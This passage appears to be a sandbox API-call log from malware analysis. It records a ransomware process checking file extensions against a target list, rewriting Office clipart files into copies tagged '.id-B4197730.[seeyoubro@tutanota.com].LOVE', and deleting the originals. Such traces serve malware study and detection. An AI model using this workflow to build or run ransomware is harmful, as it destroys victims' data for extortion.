office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0208.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.247] lstrlenW (lpString=".doc") returned 4 [0208.247] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0208.247] lstrlenW (lpString=".docx") returned 5 [0208.247] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0208.247] lstrlenW (lpString=".pdf") returned 4 [0208.248] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0208.248] lstrlenW (lpString=".xls") returned 4 [0208.248] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0208.248] lstrlenW (lpString=".xlsx") returned 5 [0208.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0208.248] lstrlenW (lpString=".ppt") returned 4 [0208.248] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0208.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.248] lstrlenW (lpString=".zip") returned 4 [0208.248] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0208.248] lstrlenW (lpString=".rar") returned 4 [0208.248] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0208.248] lstrlenW (lpString=".bz2") returned 4 [0208.248] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0208.248] lstrlenW (lpString=".7z") returned 3 [0208.248] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0208.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.248] lstrlenW (lpString=".dbf") returned 4 [0208.248] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0208.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.248] lstrlenW (lpString=".1cd") returned 4 [0208.248] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0208.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0208.248] lstrlenW (lpString=".jpg") returned 4 [0208.248] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0208.249] GetLastError () returned 0x0 [0208.249] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0208.250] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0208.251] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.251] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.251] SetEndOfFile (hFile=0x380) returned 1 [0208.252] CloseHandle (hObject=0x380) returned 1 [0208.252] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.252] SetEndOfFile (hFile=0x368) returned 1 [0208.252] CloseHandle (hObject=0x368) returned 1 [0208.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.253] lstrlenW (lpString=".doc") returned 4 [0208.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString=".docx") returned 5 [0208.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.253] lstrlenW (lpString=".pdf") returned 4 [0208.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString=".xls") returned 4 [0208.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.253] lstrlenW (lpString=".xlsx") returned 5 [0208.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.253] lstrlenW (lpString=".ppt") returned 4 [0208.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.253] lstrlenW (lpString=".zip") returned 4 [0208.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.253] lstrlenW (lpString=".rar") returned 4 [0208.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString=".bz2") returned 4 [0208.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString=".7z") returned 3 [0208.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.253] lstrlenW (lpString=".dbf") returned 4 [0208.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.254] lstrlenW (lpString=".1cd") returned 4 [0208.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0208.254] lstrlenW (lpString=".jpg") returned 4 [0208.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.254] GetLastError () returned 0x0 [0208.254] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x2244, lpOverlapped=0x0) returned 1 [0208.420] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x2250, lpOverlapped=0x0) returned 1 [0208.421] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.421] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.421] SetEndOfFile (hFile=0x380) returned 1 [0208.421] CloseHandle (hObject=0x380) returned 1 [0208.421] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.421] SetEndOfFile (hFile=0x368) returned 1 [0208.422] CloseHandle (hObject=0x368) returned 1 [0208.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0208.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.423] lstrlenW (lpString=".doc") returned 4 [0208.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.423] lstrlenW (lpString=".docx") returned 5 [0208.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.423] lstrlenW (lpString=".pdf") returned 4 [0208.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.423] lstrlenW (lpString=".xls") returned 4 [0208.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.423] lstrlenW (lpString=".xlsx") returned 5 [0208.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.423] lstrlenW (lpString=".ppt") returned 4 [0208.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.424] lstrlenW (lpString=".zip") returned 4 [0208.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.424] lstrlenW (lpString=".rar") returned 4 [0208.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.424] lstrlenW (lpString=".bz2") returned 4 [0208.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.424] lstrlenW (lpString=".7z") returned 3 [0208.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.424] lstrlenW (lpString=".dbf") returned 4 [0208.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.424] lstrlenW (lpString=".1cd") returned 4 [0208.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0208.424] lstrlenW (lpString=".jpg") returned 4 [0208.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.424] GetLastError () returned 0x0 [0208.424] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0208.438] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0208.439] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.440] WriteFile (in: hFile=0x380, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.440] SetEndOfFile (hFile=0x380) returned 1 [0208.442] CloseHandle (hObject=0x380) returned 1 [0208.443] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.443] SetEndOfFile (hFile=0x368) returned 1 [0208.447] CloseHandle (hObject=0x368) returned 1 [0208.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0208.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.448] lstrlenW (lpString=".doc") returned 4 [0208.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.448] lstrlenW (lpString=".docx") returned 5 [0208.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.448] lstrlenW (lpString=".pdf") returned 4 [0208.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.448] lstrlenW (lpString=".xls") returned 4 [0208.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.448] lstrlenW (lpString=".xlsx") returned 5 [0208.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.448] lstrlenW (lpString=".ppt") returned 4 [0208.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.448] lstrlenW (lpString=".zip") returned 4 [0208.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.448] lstrlenW (lpString=".rar") returned 4 [0208.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.449] lstrlenW (lpString=".bz2") returned 4 [0208.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.449] lstrlenW (lpString=".7z") returned 3 [0208.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.449] lstrlenW (lpString=".dbf") returned 4 [0208.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.449] lstrlenW (lpString=".1cd") returned 4 [0208.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0208.449] lstrlenW (lpString=".jpg") returned 4 [0208.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.449] GetLastError () returned 0x0 [0208.449] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x5ec, lpOverlapped=0x0) returned 1 [0208.473] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x5f0, lpOverlapped=0x0) returned 1 [0208.474] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.474] WriteFile (in: hFile=0x384, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.474] SetEndOfFile (hFile=0x384) returned 1 [0208.477] CloseHandle (hObject=0x384) returned 1 [0208.479] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.479] SetEndOfFile (hFile=0x368) returned 1 [0208.481] CloseHandle (hObject=0x368) returned 1 [0208.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0208.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.483] lstrlenW (lpString=".doc") returned 4 [0208.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.483] lstrlenW (lpString=".docx") returned 5 [0208.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.483] lstrlenW (lpString=".pdf") returned 4 [0208.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.483] lstrlenW (lpString=".xls") returned 4 [0208.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.483] lstrlenW (lpString=".xlsx") returned 5 [0208.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.483] lstrlenW (lpString=".ppt") returned 4 [0208.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.483] lstrlenW (lpString=".zip") returned 4 [0208.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.483] lstrlenW (lpString=".rar") returned 4 [0208.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.483] lstrlenW (lpString=".bz2") returned 4 [0208.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.484] lstrlenW (lpString=".7z") returned 3 [0208.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.484] lstrlenW (lpString=".dbf") returned 4 [0208.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.484] lstrlenW (lpString=".1cd") returned 4 [0208.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0208.484] lstrlenW (lpString=".jpg") returned 4 [0208.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.485] GetLastError () returned 0x0 [0208.485] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xfb8, lpOverlapped=0x0) returned 1 [0208.582] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xfc0, lpOverlapped=0x0) returned 1 [0208.613] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.613] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.613] SetEndOfFile (hFile=0x348) returned 1 [0208.613] CloseHandle (hObject=0x348) returned 1 [0208.613] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.613] SetEndOfFile (hFile=0x368) returned 1 [0208.614] CloseHandle (hObject=0x368) returned 1 [0208.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0208.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.615] lstrlenW (lpString=".doc") returned 4 [0208.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString=".docx") returned 5 [0208.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.615] lstrlenW (lpString=".pdf") returned 4 [0208.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString=".xls") returned 4 [0208.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.615] lstrlenW (lpString=".xlsx") returned 5 [0208.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.615] lstrlenW (lpString=".ppt") returned 4 [0208.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.615] lstrlenW (lpString=".zip") returned 4 [0208.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.615] lstrlenW (lpString=".rar") returned 4 [0208.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString=".bz2") returned 4 [0208.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString=".7z") returned 3 [0208.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.615] lstrlenW (lpString=".dbf") returned 4 [0208.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.616] lstrlenW (lpString=".1cd") returned 4 [0208.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0208.616] lstrlenW (lpString=".jpg") returned 4 [0208.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.616] GetLastError () returned 0x0 [0208.616] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0xec4, lpOverlapped=0x0) returned 1 [0208.639] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xed0, lpOverlapped=0x0) returned 1 [0208.640] ReadFile (in: hFile=0x368, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.640] WriteFile (in: hFile=0x348, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.640] SetEndOfFile (hFile=0x348) returned 1 [0208.640] CloseHandle (hObject=0x348) returned 1 [0208.640] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.640] SetEndOfFile (hFile=0x368) returned 1 [0208.641] CloseHandle (hObject=0x368) returned 1 [0208.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0208.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString=".doc") returned 4 [0208.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString=".docx") returned 5 [0208.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.642] lstrlenW (lpString=".pdf") returned 4 [0208.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString=".xls") returned 4 [0208.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.642] lstrlenW (lpString=".xlsx") returned 5 [0208.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.642] lstrlenW (lpString=".ppt") returned 4 [0208.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0208.642] lstrlenW (lpString=".zip") returned 4 [0208.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.642] lstrlenW (lpString=".rar") returned 4 [0208.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString=".bz2") returned 4 [0208.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.642] lstrlenW (lpString=".7z") returned 3 [0208.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned 